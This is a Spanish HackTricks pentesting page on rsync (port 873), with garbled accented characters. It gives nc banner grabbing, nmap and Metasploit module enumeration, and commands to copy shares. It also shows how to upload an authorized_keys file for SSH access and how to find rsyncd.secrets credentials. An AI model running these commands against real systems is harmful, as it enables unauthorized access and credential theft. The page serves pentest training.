873 - Pentesting Rsync
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informaci贸n B谩sica
De wikipedia:
rsync es una utilidad para transferir y sincronizar eficientemente archivos entre una computadora y un disco duro externo y a trav茅s de computadoras en red comparando los tiempos de modificaci贸n y tama帽os de los archivos.[3] Se encuentra com煤nmente en sistemas operativos tipo Unix. El algoritmo rsync es un tipo de codificaci贸n delta, y se utiliza para minimizar el uso de la red. Zlib puede ser utilizado para compresi贸n de datos adicional,[3] y SSH o stunnel pueden ser utilizados para seguridad.
Puerto por defecto: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeraci贸n
Banner y comunicaci贸n manual
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerando Carpetas Compartidas
Los m贸dulos Rsync se reconocen como comparticiones de directorios que pueden estar protegidas con contrase帽as. Para identificar los m贸dulos disponibles y verificar si requieren contrase帽as, se utilizan los siguientes comandos:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Tenga en cuenta que algunas comparticiones pueden no aparecer en la lista, posiblemente ocult谩ndolas. Adem谩s, el acceso a algunas comparticiones puede estar restringido a credenciales espec铆ficas, indicado por un mensaje de "Acceso Denegado".
Fuerza Bruta
Uso Manual de Rsync
Al obtener una lista de m贸dulos, las acciones dependen de si se necesita autenticaci贸n. Sin autenticaci贸n, listar y copiar archivos de una carpeta compartida a un directorio local se logra a trav茅s de:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Este proceso transfiere archivos recursivamente, preservando sus atributos y permisos.
Con credenciales, listar y descargar de una carpeta compartida se puede hacer de la siguiente manera, donde aparecer谩 un aviso de contrase帽a:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Para subir contenido, como un archivo authorized_keys para acceso, usa:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Para localizar el archivo de configuraci贸n de rsyncd, ejecuta:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dentro de este archivo, un par谩metro de secrets file podr铆a apuntar a un archivo que contiene nombres de usuario y contrase帽as para la autenticaci贸n de rsyncd.
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.